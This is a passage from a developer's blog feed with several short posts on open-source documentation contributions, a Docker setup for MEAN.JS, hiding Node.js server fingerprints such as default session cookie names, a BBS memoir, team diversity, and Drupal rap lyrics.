&lt;p&gt;Contributing documentation — yes that’s an open source thing too.Not everything is about code, and you don’t need to provide a patch to fix the Linux kernel for your contribution to matter. Any contribution is welcome!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__eM5Yke1nrV46ASv7.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Two weeks ago I started working on a &lt;a href=&quot;https://github.com/lirantal/operations-orchestration-api&quot;&gt;Node.js API client&lt;/a&gt; for &lt;a href=&quot;https://hpln.hpe.com/group/operations-orchestration&quot;&gt;HPE’s Operations Orchestration&lt;/a&gt; product, and this software I’m building provides a console CLI for users to interact with the OO product.&lt;/p&gt;
&lt;p&gt;Obviously to interact with the console there is going to be some library that someone else wrote for me to use, which can parse all the arguments and display a nice command usage output. Something like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__IjnzTQCzkKyba0k8.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The search for this library takes place in &lt;a href=&quot;https://www.npmjs.com/&quot;&gt;NPM&lt;/a&gt;, the largest repository of open source NodeJS packages, which quickly shows some popular libraries I can use, one of which is &lt;a href=&quot;https://github.com/75lb/command-line-args&quot;&gt;command-line-args&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;That library is gold!It does everything I need, it has tests and code coverage, maintained well, released often. Awesome. But then… I wanted to add some description to my command arguments yet couldn’t find anything in the documentation about it. Only after inspecting the source code a little bit further I’ve found references to a &lt;em&gt;description&lt;/em&gt; property that can be configured.&lt;/p&gt;
&lt;p&gt;So hey, I found the solution to my problem, that’s great, I’m all done with this library.But what if someone else will have the same problem in the future? They might be a little lazier and rule out this library just because it doesn’t seem to support a description configuration, which isn’t true, it’s just missing out from the documentation.&lt;/p&gt;
&lt;p&gt;This is where open source shines! Here is how you contribute to open source in 3 easy steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fork the original Github repository, in our case it is &lt;a href=&quot;https://github.com/75lb/command-line-args&quot;&gt;https://github.com/75lb/command-line-args&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Now that you have your own copy of the repository, make changes to the &lt;em&gt;md&lt;/em&gt; documentation on your own repo, commit and push them.&lt;/li&gt;
&lt;li&gt;Create a Pull-Request, which is just Github terminology for merging and incorporating your changes with the original repository.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Your contribution will be appreciated, and addressed by the project maintainer:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__3Z__hzL5bjCfexeBz.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And you also got yourself a new brother in the open source family :)&lt;/p&gt;</content:encoded></item><item><title>Docker setup for MEAN.JS JavaScript Development</title><link>https://lirantal.com/blog/2016-09-12_-docker-setup-for-meanjs-javascript-development/</link><guid>https://lirantal.com/blog/2016-09-12_-docker-setup-for-meanjs-javascript-development/</guid><description>Let me tell you how quickly you can get up and running with developing on the MEAN.JS JavaScript stack.</description><pubDate>Mon, 12 Sep 2016 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Let me tell you how quickly you can get up and running with developing on the MEAN.JS JavaScript stack.&lt;/p&gt;
&lt;p&gt;If you’re working on Linux, Windows, or OSX it’s simply a matter of lunching a pre-configured MEAN.JS environment included with all the goodies of:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;live-reload for real-time updates when working on the frontend.&lt;/li&gt;
&lt;li&gt;you can work with your favorite IDE on the code, and all changes are synced to the &lt;code&gt;meanjs&lt;/code&gt; container.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/C4D12AQEjdm7KBVEckA.png&quot; alt=&quot;docker build&quot;&gt;&lt;/p&gt;
&lt;p&gt;The pre-requisite is that you have a local Docker environment installed (Docker Machine for Windows/OSX or the docker packages for Linux), and then it’s just a matter of:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;git clone https://github.com/meanjs/mean.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;docker-compose up -d&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Docker compose will be sure to mount the required local folders, setup also a dedicated mongodb container and build the meanjs web container. Once the &lt;code&gt;meanjs&lt;/code&gt; container is built it will lunch npm start which in terms starts the current build system which is gulp.&lt;/p&gt;
&lt;p&gt;Any DB updates will be kept on your local file system even the container is stopped/removed, and any changes you make on the server or frontend will trigger a refresh for the live-reload so it’s a breeze to develop.&lt;/p&gt;
&lt;p&gt;Now, how about you join us the MEAN.JS repo to help out with issues and pull requests? :)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/C4D12AQHJ2n6s5XwGCw.png&quot; alt=&quot;MEAN.JS GitHub Repository&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>You too can contribute to AngularJS</title><link>https://lirantal.com/blog/you-too-can-contribute-to-angularjs-5861ce19cd42/</link><guid>https://lirantal.com/blog/you-too-can-contribute-to-angularjs-5861ce19cd42/</guid><description>What if I told you that you can contribute to AngularJS?</description><pubDate>Mon, 15 Aug 2016 08:45:36 GMT</pubDate><content:encoded>&lt;p&gt;You might have shrugged, and taken a few steps back to sit down and process this. Me? Contributing to AngularJS? there are probably more professional people than me to do it.&lt;/p&gt;
&lt;p&gt;Wrong.&lt;/p&gt;
&lt;p&gt;I could’ve replaced AngularJS with React, the Linux kernel, and Docker repositories and you would still be thinking the same.&lt;br&gt;
Why is that?&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__GTm7QX2fwJ__1dh0__AXjLCw.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;It’s because you are thinking in terms of code. You are awe’ed by the size of the project.&lt;/p&gt;
&lt;p&gt;You automatically assume that you can only contribute code, and that piece of PR must be perfect, and one that will rock the world of AngularJS people.&lt;/p&gt;
&lt;p&gt;Wrong again.&lt;/p&gt;
&lt;h3 id=&quot;making-the-world-better-for-other-developers&quot;&gt;Making the world better for other developers&lt;/h3&gt;
&lt;p&gt;I was busy one day with an issue related to AngularJS filters.&lt;br&gt;
Do &lt;strong&gt;you&lt;/strong&gt; know which built-in filters are available with Angular?&lt;/p&gt;
&lt;p&gt;That’s right. I didn’t know either.&lt;/p&gt;
&lt;p&gt;So I quickly found myself skimming through Angular’s &lt;a href=&quot;https://docs.angularjs.org/guide/filter&quot;&gt;developer guide for filters&lt;/a&gt;, and annoyingly, finding no reference there.&lt;br&gt;
It looked somewhat like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__VUxwoyXG3k7qoCdDmkVv4A.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nothing too helpful there. Right? I thought the same.&lt;/p&gt;
&lt;p&gt;It took me a few more minutes to find the right documentation page which lists all the built-in filters, but why on earth would I need to search for that when I’m already on the filters section?&lt;/p&gt;
&lt;h3 id=&quot;one-developers-itch-is-another-repositorys-pull-request&quot;&gt;One developer’s itch, is another repository’s Pull-Request&lt;/h3&gt;
&lt;p&gt;Obviously AngularJS team manages their documentation on GitHub I immediately thought to myself. And they do.&lt;/p&gt;
&lt;p&gt;So it’s pretty automatic for me these days but it’s basically all about:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Open a PR&lt;/li&gt;
&lt;li&gt;Submit the Markdown changes to update the text with a link to the proper page&lt;/li&gt;
&lt;li&gt;Debate this with the AngularJS team to align text.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Boom bam, thank you ma’am — merged like a boss.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__V8fsF6hakwDCYGYH1__unBg.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Next time you read the filters documentation at &lt;a href=&quot;https://docs.angularjs.org/guide/filter&quot;&gt;https://docs.angularjs.org/guide/filter&lt;/a&gt; you can thank me for the reference to built-in filters.&lt;/p&gt;
&lt;p&gt;You’re welcome.&lt;/p&gt;</content:encoded></item><item><title>I contributed to Docker’s official repository but why did I send them a picture of an Elephant?!</title><link>https://lirantal.com/blog/i-contributed-to-dockers-official-repository-but-why-did-i-send-them-a-picture-of-an-elephant-b8ea401b5445/</link><guid>https://lirantal.com/blog/i-contributed-to-dockers-official-repository-but-why-did-i-send-them-a-picture-of-an-elephant-b8ea401b5445/</guid><description>Without having any formal experience with Docker in the past I was able to help the Docker project and contribute to the official…</description><pubDate>Thu, 21 Jul 2016 15:42:03 GMT</pubDate><content:encoded>&lt;p&gt;Without having any formal experience with &lt;a href=&quot;https://www.docker.com/&quot;&gt;Docker&lt;/a&gt; in the past I was able to help the Docker project and contribute to the official repository and help other users. How? Here is the story.&lt;/p&gt;
&lt;p&gt;It all began when I decided I’m ditching my Linux VM to go for the now de-facto standard of virtualization which is Docker containers.&lt;/p&gt;
&lt;p&gt;My work laptop has to run Windows for corporate stuff so it’s a given that open source software install isn’t going to be straight-forward since those naturally run on Linux or UNIX variants OS.&lt;/p&gt;
&lt;p&gt;I was bound to find myself scanning through the &lt;a href=&quot;https://docs.docker.com/engine/installation/windows/&quot;&gt;Docker docs&lt;/a&gt; and so I did.&lt;/p&gt;
&lt;h3 id=&quot;the-problem&quot;&gt;The Problem&lt;/h3&gt;
&lt;p&gt;While going through the instructions at &lt;a href=&quot;https://docs.docker.com/engine/userguide/containers/dockerrepos/&quot;&gt;https://docs.docker.com/engine/userguide/containers/dockerrepos/&lt;/a&gt;- I noticed that the highlighted Note section about the &lt;strong&gt;&lt;em&gt;config.json&lt;/em&gt;&lt;/strong&gt; file is only referring to Linux users. Where should I find it if I’m on Windows? I’ve no idea how/where Docker Toolbox installs things.&lt;/p&gt;
&lt;p&gt;The relevant section looked like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__fMoJ8X3A4__Jpcugr.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After locating the file for Windows being in my user’s home directory at &lt;strong&gt;&lt;em&gt;C:\users\lirantal\.docker\config.json&lt;/em&gt;&lt;/strong&gt; I realized that other readers would probably have the same question as well.&lt;/p&gt;
&lt;h3 id=&quot;suggesting-asolution&quot;&gt;Suggesting a Solution&lt;/h3&gt;
&lt;p&gt;Being an active open source user I figured the docs might be hosted on GitHub as most projects do, and if they are not I could just email the docker support team and suggest to fix this.&lt;/p&gt;
&lt;p&gt;Luckily, the &lt;a href=&quot;https://github.com/docker/docker&quot;&gt;docker docs are indeed available online&lt;/a&gt; so it’s now a matter of getting acquainted with the Contribution Guideline and submitting a fix.&lt;/p&gt;
&lt;h3 id=&quot;contributing-a-fix-the-open-sourcefashion&quot;&gt;Contributing a Fix the Open Source fashion&lt;/h3&gt;
&lt;p&gt;A screenshot of my Pull-Request shows the requirements to answer a few questions:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__KwRFswyvSvEnxj2m.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And you can also notice that this PR had quite a few messages (at least 16) exchanged until we resolved it.&lt;/p&gt;
&lt;p&gt;The Contribution Guideline also requested me to add a picture of a cute animal and I know that &lt;strong&gt;my son adores Elephants&lt;/strong&gt; so yay!&lt;br&gt;
I can definitely google a friendly elephant and add it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__kImnNhPv3K8J8TnJ.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;From that point, we exchanged quite a few ideas on how to better style the docs and a few options were provided. Once everyone was satisfied with the texts suggested I got the desired &lt;strong&gt;LGTM&lt;/strong&gt; (Looks Good To Me) and my contribution was approved to later be included in the updated Docker documentation.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__Zj9icFDvQEAGGQ0D.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Worst ping time delays around the world?</title><link>https://lirantal.com/blog/worst-ping-time-delays-around-the-world-d02cde8004a8/</link><guid>https://lirantal.com/blog/worst-ping-time-delays-around-the-world-d02cde8004a8/</guid><description>Have you ever wondered what is the worst time delay ping from 2 cities around the world?</description><pubDate>Fri, 15 Jul 2016 09:21:09 GMT</pubDate><content:encoded>&lt;p&gt;Have you ever wondered what is the worst time delay ping from 2 cities around the world?&lt;/p&gt;
&lt;p&gt;The winners are a ping sent from Dagupan, Philippines to Alblasserdam, Netherlands, which are here on the map:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__VGFpdu6fMQ89XqOX.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The average ping is measured at a &lt;strong&gt;815 ms&lt;/strong&gt; latency.&lt;br&gt;
Peak time ping latency reach to &lt;strong&gt;1800 ms&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Statistics collected from: &lt;a href=&quot;https://wondernetwork.com/pings/Dagupan/Alblasserdam&quot;&gt;https://wondernetwork.com/pings/Dagupan/Alblasserdam&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>InfoSec — I can easily guess your Node.js server! Want to bet?</title><link>https://lirantal.com/blog/infosec-i-can-easily-guess-your-node-js-server-want-to-bet-a7d004cfa81f/</link><guid>https://lirantal.com/blog/infosec-i-can-easily-guess-your-node-js-server-want-to-bet-a7d004cfa81f/</guid><description>With the hope of raising awareness on information security topics, and the openness of the web I would like to take one step further to…</description><pubDate>Mon, 06 Jun 2016 09:21:56 GMT</pubDate><content:encoded>&lt;p&gt;With the hope of raising awareness on information security topics, and the openness of the web I would like to take one step further to show how a basic configuration can help secure your Node.js web application.&lt;/p&gt;
&lt;h4 id=&quot;your-web-server-sayshello&quot;&gt;Your Web Server Says hello!&lt;/h4&gt;
&lt;p&gt;A web server is commonly reporting about itself and tells the world its name and version. It does that by replying with a response header of X-Powered-By, for example: &lt;em&gt;X-Powered-By: PHP/5.6&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So the most common thing that frameworks in Node.js do is to remove this HTTP header. That is usually done using Helmet or ExpressJS built-in option, such as:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__Qc8uhGW4do__6etmk.&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;or:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__1F4Ae45pUsqOhmKf.&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;That’s fine, but it’s not enough.&lt;/p&gt;
&lt;p&gt;If you use cookies, then you probably use one of the most popular middleware &lt;code&gt;_express-session_&lt;/code&gt; which will has a default cookie name of &lt;code&gt;_connect.sid_&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;If you’re using some framework that wraps your whole application structure then you probably didn’t even dive deep there to review all the configurations and update this default setting.&lt;/p&gt;
&lt;h4 id=&quot;the-dangerzone&quot;&gt;The Danger Zone&lt;/h4&gt;
&lt;p&gt;The danger of leaving this cookie name as is comes from the fact that you are disclosing sensitive information on which environment and server details you are running your web application. Which in turn, help attackers target their exploit automation, or manual pen-tools tailored to your setup.&lt;/p&gt;
&lt;h4 id=&quot;a-model-of-opensource&quot;&gt;A Model of Open Source&lt;/h4&gt;
&lt;p&gt;The OWASP wiki has a lot of details related to information security and maintains a Cookies Database list where you can find out about all of the common names and extrapolate the web server environment details.&lt;/p&gt;
&lt;p&gt;Once I sneak peaked at it I didn’t find the Node.js reference of the cookie name and then simply updated the wiki page to maintain an up to date list.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__RJscSc1fSJfcXIRF.&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Sharing information is important to keep security up to date.&lt;/p&gt;
&lt;p&gt;Also, I invite you to read my newly published book &lt;a href=&quot;http://bit.ly/securenodejs&quot;&gt;Essential Node.js Security&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__1WPY7__gXrww5uoF0ZEF3BA.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Andrew Milner Shaped My Childhood</title><link>https://lirantal.com/blog/andrew-milner-shaped-my-childhood-47065fdfd8ad/</link><guid>https://lirantal.com/blog/andrew-milner-shaped-my-childhood-47065fdfd8ad/</guid><description>Andrew Milner shaped my childhood. Google that name, I bet you a beer you’ve no idea who this guy is, and apparently Google isn’t helpful…</description><pubDate>Sat, 07 May 2016 13:37:13 GMT</pubDate><content:encoded>&lt;p&gt;Andrew Milner shaped my childhood. Google that name, I bet you a beer you’ve no idea who this guy is, and apparently Google isn’t helpful, so I’ll help out.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__9c2FMFRU7__jvb5vt.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This begins with my early childhood days, being a teenager, in the early 90’s. Since I can remember myself I was caught up with computers, stereo systems, or any other technology I could get my hands on. I was altogether amazed by this notion of technology and learning more about it felt like a journey with no end.&lt;/p&gt;
&lt;p&gt;One day this adventure took a hyper-drive — my mom and dad, surprised me with a morning I will never forget: I woke up for a school day, with my younger brother Yinon. I’m scratching my eyes and I’m not sure if I’m dreaming or not, but I’m seeing it. I’m looking at my very own modern computer — an Intel Pentium, 200mhz MMX.&lt;/p&gt;
&lt;p&gt;That wasn’t my first computer experience. I had programmed early QBASIC at the age of 10, and spent a large amount of time at my friends house with their computer/modems, as well as at my dad’s office where we had a couple of 486s, but getting my own PC now that’s my kingdom!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__S6JXei41CjG6bA9v.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Not long after, I’ve been able to spend even more time around computers, and have met great friends on one of Israel’s most popular The Master BBS by Oren Meir.&lt;/p&gt;
&lt;p&gt;One of these friends was Ofir Michaeli. A great friend, and boy that was needed back then in those teenage times. Ofir quickly introduced me to the more broad BBS scene in Israel, and that immediately translated into getting my own dedicated phone line (can’t take that for granted back at around 95–96), my own BBS which I named after a hacker group in the 90’s: The Hacker’s Choice BBS.&lt;/p&gt;
&lt;p&gt;Back to &lt;a href=&quot;http://www.bbsdays.com/people/andrew_milner/&quot;&gt;Andrew Milner&lt;/a&gt;. He wrote the BBS software &lt;a href=&quot;https://en.wikipedia.org/wiki/RemoteAccess&quot;&gt;RemoteAccess&lt;/a&gt;, which ran on a DOS OS, and was the fuel that powered my BBS. I used to wake up for that awesome modem sound at night, rush to sit in front of the screen, and meet the new geek that called my BBS, and begin another electronic adventure.&lt;/p&gt;</content:encoded></item><item><title>Most decisions in life are reversible</title><link>https://lirantal.com/blog/most-decisions-in-life-are-reversible-4437386e5d1d/</link><guid>https://lirantal.com/blog/most-decisions-in-life-are-reversible-4437386e5d1d/</guid><description>You might be the conservative character, the shy person, or possibly the one taking less risks when it comes to making decisions all…</description><pubDate>Mon, 11 Apr 2016 05:02:07 GMT</pubDate><content:encoded>&lt;p&gt;You might be the conservative character, the shy person, or possibly the one taking less risks when it comes to making decisions all around. If that’s the case, I want to let you in on a small tip: most decisions in life are reversible. Simple as that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__HqY7KHfiHNN3jOKcw8sGgw.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Decisions shape our lives, and they drive us to action, which further shapes our reality and day to day interaction with the world.&lt;/p&gt;
&lt;p&gt;Whether you’re making decisions concerning your personal life, or decisions at work which may affect your career, and your colleagues, you must really take in this notion that most decisions you will make in life aren’t catastrophic, aren’t one-way and that’s it.&lt;/p&gt;
&lt;p&gt;It’s not about being courageous, but embracing the fact that you can change things, even while they’re happening, and there’s always another way.&lt;/p&gt;
&lt;p&gt;We faced a crucial decision in my team — our technology stack was way too distributed for the size of our R&amp;#x26;D team, and encompassed frontend HTML, JavaScript, and CSS along with backend components of PHP/&lt;a href=&quot;http://www.drupal.org&quot;&gt;Drupal&lt;/a&gt;, Python, Pylon, and Java/Spring.&lt;/p&gt;
&lt;p&gt;We needed to make a decision to unify our technology stack, and were curious about the &lt;a href=&quot;http://nodejs.org/&quot;&gt;Node.js&lt;/a&gt; ecosystem, and the &lt;a href=&quot;http://en.wikipedia.org/wiki/MEAN&quot;&gt;MEAN stack&lt;/a&gt; in general.&lt;/p&gt;
&lt;p&gt;It was easy to stay at the comfort zone of either of PHP, Python or Java and consolidate to one of them, but if Node.js would fit us, we were not afraid to venture into new realms, even if it meant that we needed to bridge that knowledge in the team, and quickly ramp-up developers and QA with the capabilities to start working in this technology ecosystem.&lt;/p&gt;
&lt;p&gt;We indeed ended up creating a new backend component with the &lt;a href=&quot;http://meanjs.org/&quot;&gt;MEAN.JS&lt;/a&gt; framework, which has serves us well so far, and has even attributed to improved performance.&lt;/p&gt;</content:encoded></item><item><title>My manager’s probably best team building concept is Diversity</title><link>https://lirantal.com/blog/my-manager-s-probably-best-team-building-concept-is-diversity-e0e8b44a8e8c/</link><guid>https://lirantal.com/blog/my-manager-s-probably-best-team-building-concept-is-diversity-e0e8b44a8e8c/</guid><description>My manager’s probably best team building concept is Diversity. Why? read on and get some insight on building your next team to accomplish…</description><pubDate>Mon, 04 Apr 2016 08:37:35 GMT</pubDate><content:encoded>&lt;p&gt;My manager’s probably best team building concept is Diversity. Why? read on and get some insight on building your next team to accomplish an amazingly performant, and adaptive team.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Our R&amp;#x26;D group encompass about 20-ish team members all in all, which is quite small&lt;/strong&gt; compared to most other groups in our company, and in our specific work site, &lt;strong&gt;yet it still wins in its member’s diversity on almost all accounts&lt;/strong&gt;. When you look at diversity, it is easy to just look at the common variables like gender, or age, but true diversity in your team is more than that.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/1__LEzhAcol__10Sc3EWpCDqLQ.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;How strongly diverse our small team is? In age, &lt;strong&gt;we have engineers in their early 20s and engineers in their 40s&lt;/strong&gt;. Ethnicity-wise, we have both religious and non-religious team members.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Going to lunch is easy with a small diverse team? think again. For food orientation, we have religious members who only eat kosher, then those who eat anything, and then we also have a vegan. Try booking a team lunch now I dare you.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;You’d also think all engineers are with the same background because this is software engineering that we do? &lt;strong&gt;Some are computer sciences graduates, some are MBAs,&lt;/strong&gt; or majoring in business or economics, &lt;strong&gt;others have university experience but no diploma, and some have masters.&lt;/strong&gt; On gender diversity we’re having women account for a quarter of the team, and location-wise the team is almost fifty-fifty split between Romanian and Israeli R&amp;#x26;D locations so we do pretty good on cultural diversity.&lt;/p&gt;
&lt;h4 id=&quot;steer-innovation&quot;&gt;&lt;strong&gt;Steer Innovation&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;Creating innovative initiative and state of mind isn’t straight-forward for anyone, mainly because true innovation comes from passion, being open minded, thinking outside the box, and for some, even living outside the box, far far away from the box. That internal drive that innovators have you can’t really teach.&lt;/p&gt;
&lt;p&gt;Having a diverse team though helps a lot. &lt;strong&gt;Many of your team members will have unique experiences, different world perspectives, and will want to blend in and share their own different idea&lt;/strong&gt;. Diversity doesn’t skip the technological part, as our small team maintains products for the larger HP, developed in Java, Python, &lt;a href=&quot;http://www.drupal.org/&quot;&gt;Drupal&lt;/a&gt;/PHP, and Node.JS (&lt;a href=&quot;https://github.com/lirantal/mean&quot;&gt;MEAN&lt;/a&gt; stack at large). That much fragmentation isn’t always fruitful but it surely leads to a significant innovative ideas, and variety of technical methodologies.&lt;/p&gt;
&lt;h4 id=&quot;captivate-your-customers&quot;&gt;&lt;strong&gt;Captivate your customers&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;With a diverse team, which is also multicultural there are far better chances that when your team engages with customers they will be able to connect with them better. Our team is not a full-time customer support department, but when the team is so diverse, the support team is really made up of developers, QA, UX, functional architect, team and group leads.&lt;/p&gt;
&lt;p&gt;When customer support gets that much wide-spread visibility through-out the group you can be sure we’re making it quite an experience for customers. &lt;strong&gt;Customers are not just all about support, sometimes our customers are our partners, and with a solid differentiated team members we’re also able to reflect better our customers and partners better.&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&quot;how-to-do-diversity-right&quot;&gt;&lt;strong&gt;How to do diversity right?&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;If you’re building a team I’d recommend you don’t choose them as soldiers, or robots. Your team doesn’t need to fit into any stencil or template. They may need to carry attributes which you are looking for, or other characteristics to diverse the team, but treat them as creative, and unique individuals and try to avoid common pitfalls like discrimination, and job requirements “must-haves” with regards to personal or even educational background.&lt;/p&gt;
&lt;p&gt;Today, more than ever, people are more autodidacts. If you think your super stressing technological interview is good to filter out candidates, and to dismiss all of the non-university graduates or those with bad GPA grades then you’re probably wrong. Even Google already stated that all of their brainteasers and pre-judgement didn’t predict well how their recruits blended in the company (source: &lt;a href=&quot;https://www.linkedin.com/pulse/article/20130620142512-35894743-on-gpas-and-brain-teasers-new-insights-from-google-on-recruiting-and-hiring&quot;&gt;article&lt;/a&gt; on &lt;a href=&quot;http://www.linkedin.com/&quot;&gt;LinkedIn&lt;/a&gt;)&lt;/p&gt;</content:encoded></item><item><title>VeriGreen – lightweight, server side solution for verification of git commits</title><link>https://lirantal.com/blog/2015-11-16/</link><guid>https://lirantal.com/blog/2015-11-16/</guid><description>Meet VeriGreen, an open source project to help you with merge commits</description><pubDate>Mon, 16 Nov 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Verigreen – &lt;a href=&quot;https://github.com/&quot;&gt;https://github.com&lt;/a&gt;  – is a lightweight, server side solution for verification of git commits. Now open-sourced by HPE’s VeriGreen team.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://web.archive.org/web/20161230084134im_/http://verigreen.io/images/VG_diagram_500x270.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;</content:encoded></item><item><title>Screenshots from old school UNIX, Linux and open source major developers</title><link>https://lirantal.com/blog/2015-04-14/</link><guid>https://lirantal.com/blog/2015-04-14/</guid><description>How did old school unix days of the pre-Internet looked like? let&apos;s get a glimpse</description><pubDate>Sun, 01 Nov 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Screenshots from old school UNIX, Linux and open source major developers&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://anders.unix.se/2015/10/28/screenshots-from-developers--unix-people-2002&quot;&gt;https://anders.unix.se/2015/10/28/screenshots-from-developers–unix-people-2002&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>The Drupal Rap song – Everyday I’m Drupalin&apos;</title><link>https://lirantal.com/blog/2015-04-13/</link><guid>https://lirantal.com/blog/2015-04-13/</guid><description>Get your groove on with a cool Drupal song! Meet the Drupal Rap song – Everyday I&apos;m Drupalin&apos;</description><pubDate>Mon, 13 Apr 2015 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This YouTube video doesn’t need any further explanation beside it’s title: The Drupal Rap song – Everyday I’m Drupalin’&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Lyrics&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;Chorus&lt;/p&gt;
&lt;p&gt;Everyday I’m drupalin&lt;/p&gt;
&lt;p&gt;Verse&lt;/p&gt;
&lt;p&gt;Where them forms you gettin fapi with I’m the fapi boss/ hookin into edit form and webforms is my specialty sauce/ I’ll hook form alter by form id’s or entities/ put a list on Ajax/ just to keep it callin back/&lt;/p&gt;
&lt;p&gt;I got them distrobutions, I’m like acqia/&lt;br&gt;
Check my public repos, I didn’t copy nuttin/ I know dries n webchick, I kno Ryan szrama/ all the commerce guys we hipchat when they got some drama/&lt;br&gt;
Might not be pretty code but it gets me paid/ I’m using rules like php loopin through arrays/ I put it all in features, so the code is stable/ it might take longer, but next time I just click enable/ These dudes clearin caches, on every hook init/ queries by thousands, page loads by the minutes&lt;/p&gt;
&lt;p&gt;Verse&lt;/p&gt;
&lt;p&gt;No matter the language we compress it hard/ drugs cc all, we just drugs cc all/&lt;br&gt;
Where’s all of the changes, you never saw/ so drush cc all, we just drugs cc all/ I lean heavy on smacss, compass compilin my sass/ you just installed flexslider now you teachin a class/&lt;br&gt;
I seen your content types, I don’t need to kno you/ to know that we ain’t even in the same nodequeue/&lt;br&gt;
I’m on drupal answers, check my reputation/ I’m on my tablet earnin karma while I’m on vacation/ ya girl like a module, she stay hookin n/ you couldn’t code an info file, without lookin in/&lt;br&gt;
Mo scrums, equals better sprints, break the huddle, n the work begins&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h4 id=&quot;music&quot;&gt;Music&lt;/h4&gt;
&lt;ul&gt;
